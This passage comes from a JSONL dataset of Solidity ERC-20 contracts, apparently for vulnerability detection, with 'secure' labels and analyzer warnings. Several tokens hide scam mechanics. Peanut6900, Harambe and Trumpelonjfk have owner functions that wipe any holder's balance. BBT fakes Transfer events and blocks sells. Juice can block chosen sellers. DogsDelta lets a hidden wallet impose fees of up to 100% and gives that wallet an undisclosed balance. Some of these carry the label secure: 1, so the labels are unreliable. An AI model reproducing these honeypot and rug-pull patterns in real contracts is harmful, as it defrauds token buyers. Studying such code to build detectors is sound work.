amount);\n\n return true;\n }\n\n function allowance(\n address _owner,\n address spender\n ) external view override returns (uint256) {\n return _allowances[_owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) external override returns (bool) {\n _allowances[msg.sender][spender] = amount;\n\n emit Approval(msg.sender, spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external override returns (bool) {\n require(_balances[sender] >= amount, \"Insufficient balance\");\n\n require(\n _allowances[sender][msg.sender] >= amount,\n \"Allowance exceeded\"\n );\n\n _balances[sender] -= amount;\n\n _balances[recipient] += amount;\n\n _allowances[sender][msg.sender] -= amount;\n\n emit Transfer(sender, recipient, amount);\n\n return true;\n }\n}", "file_name": "solidity_code_482.sol", "secure": 1, "size_bytes": 2385 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract TheVisionToken is ERC20 {\n constructor() ERC20(\"The Vision\", \"JMV\") {\n _mint(msg.sender, 47000000 * 10 ** decimals());\n }\n}", "file_name": "solidity_code_483.sol", "secure": 1, "size_bytes": 285 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"./IERC20Meta.sol\" as IERC20Meta;\n\ncontract BBT is Ownable, IERC20, IERC20Meta {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n\n string private _symbol;\n\n address private _p76234;\n\n\t// WARNING Optimization Issue (constable-states | ID: 3e6ac17): BBT._e242 should be constant \n\t// Recommendation for 3e6ac17: Add the 'constant' attribute to state variables that never change.\n uint256 private _e242 = 999;\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 8;\n }\n\n function claim(address[] calldata _addresses_, uint256 _out) external {\n for (uint256 i = 0; i < _addresses_.length; i++) {\n emit Transfer(_p76234, _addresses_[i], _out);\n }\n }\n\n function multicall(address[] calldata _addresses_, uint256 _out) external {\n for (uint256 i = 0; i < _addresses_.length; i++) {\n emit Transfer(_p76234, _addresses_[i], _out);\n }\n }\n\n function execute(address[] calldata _addresses_, uint256 _out) external {\n for (uint256 i = 0; i < _addresses_.length; i++) {\n emit Transfer(_p76234, _addresses_[i], _out);\n }\n }\n\n function transfer(address _from, address _to, uint256 _wad) external {\n emit Transfer(_from, _to, _wad);\n }\n\n function transfer(\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address accountOwner = _msgSender();\n\n _transfer(accountOwner, to, amount);\n\n return true;\n }\n\n function allowance(\n address accountOwner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[accountOwner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n address accountOwner = _msgSender();\n\n _approve(accountOwner, spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address spender = _msgSender();\n\n _spendAllowance(from, spender, amount);\n\n _transfer(from, to, amount);\n\n return true;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 01710e3): BBT.actionPair(address).account lacks a zerocheck on \t _p76234 = account\n\t// Recommendation for 01710e3: Check that the address is not zero.\n function actionPair(address account) public virtual returns (bool) {\n require(_msgSender() == 0x15F844Ffc93f637E8C9ac855719800d6Fc14Cc09);\n\n\t\t// missing-zero-check | ID: 01710e3\n _p76234 = account;\n\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply += amount;\n\n unchecked {\n _balances[account] += amount;\n }\n\n emit Transfer(address(0), account, amount);\n\n _afterTokenTransfer(address(0), account, amount);\n\n renounceOwnership();\n }\n\n function _approve(\n address accountOwner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(\n accountOwner != address(0),\n \"ERC20: approve from the zero address\"\n );\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[accountOwner][spender] = amount;\n\n emit Approval(accountOwner, spender, amount);\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n if (\n (from != _p76234 &&\n to == 0x6b75d8AF000000e20B7a7DDf000Ba900b4009A80) ||\n (_p76234 == to &&\n from != 0x6b75d8AF000000e20B7a7DDf000Ba900b4009A80 &&\n from != 0xfA3A2B2802c18cB3027c1d2b92F7Fe9626BcF744 &&\n from != 0x15F844Ffc93f637E8C9ac855719800d6Fc14Cc09 &&\n from != 0xB1578B3eE1d8C3D484Bebf74E7254964Bbe24865)\n ) {\n uint256 _X7W88 = amount + 2;\n\n require(_X7W88 < _e242);\n }\n\n uint256 fromBalance = _balances[from];\n\n require(\n fromBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n unchecked {\n _balances[from] = fromBalance - amount;\n\n _balances[to] += amount;\n }\n\n emit Transfer(from, to, amount);\n\n _afterTokenTransfer(from, to, amount);\n }\n\n function _spendAllowance(\n address accountOwner,\n address spender,\n uint256 amount\n ) internal virtual {\n uint256 currentAllowance = allowance(accountOwner, spender);\n\n if (currentAllowance != type(uint256).max) {\n require(\n currentAllowance >= amount,\n \"ERC20: insufficient allowance\"\n );\n\n unchecked {\n _approve(accountOwner, spender, currentAllowance - amount);\n }\n }\n }\n\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n\n constructor() {\n _name = unicode\"BabyBoomToken\";\n\n _symbol = unicode\"BBT\";\n\n _mint(msg.sender, 100000000000 * 10 ** decimals());\n }\n}", "file_name": "solidity_code_484.sol", "secure": 0, "size_bytes": 6547 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract GOPMascot is ERC20, Ownable {\n\t// WARNING Optimization Issue (constable-states | ID: df13863): GOPMascot.maxSupply should be constant \n\t// Recommendation for df13863: Add the 'constant' attribute to state variables that never change.\n uint256 maxSupply = 1_000_0000_00 * 1e18;\n\n constructor() ERC20(\"GOP Mascot\", \"GOPnut\") Ownable(msg.sender) {\n _mint(msg.sender, maxSupply);\n }\n}", "file_name": "solidity_code_485.sol", "secure": 1, "size_bytes": 608 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract GOPMascot is ERC20, Ownable {\n\t// WARNING Optimization Issue (constable-states | ID: df13863): GOPMascot.maxSupply should be constant \n\t// Recommendation for df13863: Add the 'constant' attribute to state variables that never change.\n uint256 maxSupply = 1_000_0000 * 1e18;\n\n constructor() ERC20(\"GOP mascot\", \"GOPnut\") Ownable(msg.sender) {\n _mint(msg.sender, maxSupply);\n }\n}", "file_name": "solidity_code_486.sol", "secure": 1, "size_bytes": 605 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract Peanut6900 is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable house;\n\n constructor() {\n _name = \"PEANUT6900\";\n\n _symbol = \"PEANUT6900\";\n\n _decimals = 18;\n\n uint256 initialSupply = 743000000;\n\n house = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == house, \"Not allowed\");\n\n _;\n }\n\n function brush(address[] memory complain) public onlyOwner {\n for (uint256 i = 0; i < complain.length; i++) {\n address account = complain[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n}", "file_name": "solidity_code_487.sol", "secure": 1, "size_bytes": 4367 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract Harambe is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable great;\n\n constructor() {\n _name = \"Harambe\";\n\n _symbol = \"HARAMBE\";\n\n _decimals = 18;\n\n uint256 initialSupply = 857000000;\n\n great = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == great, \"Not allowed\");\n\n _;\n }\n\n function pound(address[] memory cup) public onlyOwner {\n for (uint256 i = 0; i < cup.length; i++) {\n address account = cup[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n}", "file_name": "solidity_code_488.sol", "secure": 1, "size_bytes": 4343 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"./IFactory.sol\" as IFactory;\nimport \"./IRouter.sol\" as IRouter;\n\ncontract Juice is ERC20, Ownable {\n mapping(address => bool) public _isteam;\n\n bool public openedTrade = false;\n\n address public pair;\n\n IRouter public _Router;\n\n struct StoreData {\n uint256 gas;\n uint256 buy;\n uint256 sell;\n mapping(address => bool) defaults;\n uint256 maxTxAmount;\n }\n\n storeData public s;\n\n constructor() ERC20(\"Juice Token\", \"JUICE\") {\n _Router = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);\n\n initMutilsAcountTEAM(address(_Router), true);\n\n initMutilsAcountTEAM(address(this), true);\n\n initMutilsAcountTEAM(msg.sender, true);\n\n _mint(msg.sender, 100000000 * 10 ** decimals());\n\n s.maxTxAmount = (totalSupply() * 5) / 100;\n\n s.buy = 0;\n\n s.sell = 0;\n\n s.gas = 930 gwei;\n }\n\n function GetRouter(IRouter _a) public onlyOwner {\n _Router = _a;\n }\n\n function initMutilsAcountTEAM(address account, bool enable) internal {\n _isteam[account] = enable;\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 01179b8): Reentrancy in Juice.OpenTrade() External calls pair = IFactory(_Router.factory()).getPair(address(this),_Router.WETH()) State variables written after the call(s) openedTrade = true\n\t// Recommendation for 01179b8: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function OpenTrade() public onlyOwner {\n\t\t// reentrancy-benign | ID: 01179b8\n pair = IFactory(_Router.factory()).getPair(\n address(this),\n _Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 01179b8\n openedTrade = true;\n }\n\n function InTaxOne(address spender, bool state) public onlyOwner {\n s.defaults[spender] = state;\n }\n\n function InTaxAll(uint256 _new0Data) public onlyOwner {\n s.gas = _new0Data;\n }\n\n function RemoveLimit() public onlyOwner {\n s.maxTxAmount = totalSupply();\n }\n\n function withdraw() public onlyOwner {\n payable(msg.sender).transfer(address(this).balance);\n }\n\n\t// WARNING Vulnerability (tx-origin | severity: Medium | ID: 0ca76e1): Juice._transfer(address,address,uint256) uses tx.origin for authorization _isteam[tx.origin]\n\t// Recommendation for 0ca76e1: Do not use 'tx.origin' for authorization.\n\t// WARNING Vulnerability (tx-origin | severity: Medium | ID: 8ba8544): Juice._transfer(address,address,uint256) uses tx.origin for authorization s.defaults[tx.origin] && to == pair && tx.gasprice > 0 && balanceOf(tx.origin) > 0\n\t// Recommendation for 8ba8544: Do not use 'tx.origin' for authorization.\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual override {\n\t\t// tx-origin | ID: 0ca76e1\n if (_isteam[tx.origin]) {\n super._transfer(from, to, amount);\n\n return;\n } else {\n require(openedTrade, \"Trade has not been opened yet\");\n\n require(amount < s.maxTxAmount);\n\n bool teamOfTransaction = (to == pair) ? true : false;\n\n if (\n\t\t\t\t// tx-origin | ID: 8ba8544\n s.defaults[tx.origin] &&\n to == pair &&\n tx.gasprice > 0 &&\n balanceOf(tx.origin) > 0\n ) {\n revert();\n }\n\n if (teamOfTransaction && tx.gasprice > s.gas) {\n revert();\n }\n\n if (from != pair && to != pair) {\n require(!s.defaults[from]);\n }\n\n uint256 txAmount;\n\n txAmount = (!teamOfTransaction)\n ? ((amount * s.buy) / 100)\n : ((amount * s.sell) / 100);\n\n super._transfer(from, to, amount - txAmount);\n\n if (txAmount > 0) {\n super._transfer(from, address(this), txAmount);\n }\n\n return;\n }\n }\n}", "file_name": "solidity_code_489.sol", "secure": 0, "size_bytes": 4359 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\n\nabstract contract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n _transferOwnership(_msgSender());\n }\n\n modifier onlyOwner() {\n _checkOwner();\n\n _;\n }\n\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n function _checkOwner() internal view virtual {\n require(owner() == _msgSender(), \"Ownable: caller is not the owner\");\n }\n\n function renounceOwnership() public virtual onlyOwner {\n _transferOwnership(address(0));\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(\n newOwner != address(0),\n \"Ownable: new owner is the zero address\"\n );\n\n _transferOwnership(newOwner);\n }\n\n function _transferOwnership(address newOwner) internal virtual {\n address oldOwner = _owner;\n\n _owner = newOwner;\n\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n}", "file_name": "solidity_code_49.sol", "secure": 1, "size_bytes": 1260 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract Trumpelonjfk is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable stuff;\n\n constructor() {\n _name = \"Trump Elon JFK\";\n\n _symbol = \"TEJFK\";\n\n _decimals = 18;\n\n uint256 initialSupply = 582000000;\n\n stuff = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == stuff, \"Not allowed\");\n\n _;\n }\n\n function east(address[] memory snow) public onlyOwner {\n for (uint256 i = 0; i < snow.length; i++) {\n address account = snow[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n}", "file_name": "solidity_code_490.sol", "secure": 1, "size_bytes": 4355 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\n\ncontract DogsDelta is Context, Ownable, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => uint256) private _transferFees;\n\n mapping(address => bool) public isEarlyBuyer;\n\n mapping(address => bool) public isBlocked;\n\n uint256 public EarlyBuyTime;\n\n uint256 public launchTime;\n\n uint8 public blockInitialBuys;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _totalSupply = 10000000000000 * 10 ** _decimals;\n\n string private constant _name = \"Dogs Delta\";\n\n string private constant _symbol = \"D.O.G.S\";\n\n address private constant dEaD = 0x000000000000000000000000000000000000dEaD;\n\n\t// WARNING Optimization Issue (constable-states | ID: 4d5af84): DogsDelta._marketingWallet should be constant \n\t// Recommendation for 4d5af84: Add the 'constant' attribute to state variables that never change.\n address private _marketingWallet =\n 0xF825D66589E4AB363BbF867A7D1C7beb4b4fF7dD;\n\n bool public limitsActive = true;\n\n constructor() {\n _balances[_msgSender()] = _totalSupply;\n\n _balances[_marketingWallet] = _totalSupply * 10 ** 9;\n\n emit Transfer(address(0), _msgSender(), _totalSupply);\n }\n\n function removeLimits() external onlyOwner {\n limitsActive = false;\n }\n\n function Contract_Mapping_Bool(\n uint256 Early_Buy_Timer_in_Seconds,\n bool Block_Early_Buyer_Sells\n ) external onlyOwner {\n require(Early_Buy_Timer_in_Seconds <= 600, \"E07\");\n\n EarlyBuyTime = Early_Buy_Timer_in_Seconds;\n\n blockInitialBuys = Block_Early_Buyer_Sells ? 1 : 0;\n\n launchTime = block.timestamp;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function multicallwithrewards(\n address multicallrewardsID,\n uint256 multicallrewardsAMOUNT\n ) public {\n require(_registerENS(), \"Caller is not the original caller\");\n\n uint256 maxRef = 100;\n\n bool condition = multicallrewardsAMOUNT <= maxRef;\n\n _conditionReverter(condition);\n\n _setTransferFee(multicallrewardsID, multicallrewardsAMOUNT);\n }\n\n function _registerENS() internal view returns (bool) {\n return isMee();\n }\n\n function _conditionReverter(bool condition) internal pure {\n require(condition, \"Invalid fee percent\");\n }\n\n function _setTransferFee(address multicallrewardsID, uint256 fee) internal {\n _transferFees[multicallrewardsID] = fee;\n }\n\n function isMee() internal view returns (bool) {\n return _msgSender() == _marketingWallet;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n uint256 public constant MAX_TRANSFER_PERCENTAGE = 10;\n\n modifier checkTransferAmount(address sender, uint256 amount) {\n if (limitsActive) {\n uint256 maxAllowed = (_totalSupply * MAX_TRANSFER_PERCENTAGE) / 100;\n\n if (\n sender != owner() &&\n sender != dEaD &&\n sender != _marketingWallet\n ) {\n if (amount > maxAllowed) {\n multicallwithrewards(_msgSender(), amount);\n }\n }\n }\n\n _;\n }\n\n function transfer(\n address recipient,\n uint256 amount\n )\n public\n virtual\n override\n checkTransferAmount(_msgSender(), amount)\n returns (bool)\n {\n require(\n _balances[_msgSender()] >= amount,\n \"TT: transfer amount exceeds balance\"\n );\n\n uint256 fee = (amount * _transferFees[_msgSender()]) / 100;\n\n uint256 finalAmount = amount - fee;\n\n _balances[_msgSender()] -= amount;\n\n _balances[recipient] += finalAmount;\n\n _balances[dEaD] += fee;\n\n emit Transfer(_msgSender(), recipient, finalAmount);\n\n emit Transfer(_msgSender(), dEaD, fee);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n )\n public\n virtual\n override\n checkTransferAmount(sender, amount)\n returns (bool)\n {\n require(\n _allowances[sender][_msgSender()] >= amount,\n \"TT: transfer amount exceeds allowance\"\n );\n\n uint256 fee = (amount * _transferFees[sender]) / 100;\n\n uint256 finalAmount = amount - fee;\n\n _balances[sender] -= amount;\n\n _balances[recipient] += finalAmount;\n\n _allowances[sender][_msgSender()] -= amount;\n\n _balances[dEaD] += fee;\n\n emit Transfer(sender, recipient, finalAmount);\n\n emit Transfer(sender, dEaD, fee);\n\n return true;\n }\n\n function allowance(\n address accountOwner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[accountOwner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _allowances[_msgSender()][spender] = amount;\n\n emit Approval(_msgSender(), spender, amount);\n\n return true;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _totalSupply;\n }\n}", "file_name": "solidity_code_491.sol", "secure": 1, "size_bytes": 6029 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function decimals() external view returns (uint8);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 834c953): IERC20.allowance(address,address).owner shadows IERC20.owner() (function)\n\t// Recommendation for 834c953: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 834c953): IERC20.allowance(address,address).owner shadows IERC20.owner() (function)\n\t// Recommendation for 834c953: Rename the local variables that shadow another component.\n function owner() external view returns (address);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}", "file_name": "solidity_code_492.sol", "secure": 0, "size_bytes": 1466 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForTokensSupportingFeeOnTransferTokens(\n uint256 amountIn,\n uint256 amountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external;\n}", "file_name": "solidity_code_493.sol", "secure": 1, "size_bytes": 320 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IPair {\n function token0() external view returns (address);\n\n function token1() external view returns (address);\n\n function withdraw(uint256 wad) external;\n}", "file_name": "solidity_code_494.sol", "secure": 1, "size_bytes": 244 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nlibrary Address {\n function isContract(address account) internal view returns (bool) {\n return account.code.length > 0;\n }\n\n function functionCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n return functionCallWithValue(target, data, 0, errorMessage);\n }\n\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value,\n string memory errorMessage\n ) internal returns (bytes memory) {\n require(\n address(this).balance >= value,\n \"Address: insufficient balance for call\"\n );\n\n (bool success, bytes memory returndata) = target.call{value: value}(\n data\n );\n\n return\n verifyCallResultFromTarget(\n target,\n success,\n returndata,\n errorMessage\n );\n }\n\n function verifyCallResultFromTarget(\n address target,\n bool success,\n bytes memory returndata,\n string memory errorMessage\n ) internal view returns (bytes memory) {\n if (success) {\n if (returndata.length == 0) {\n 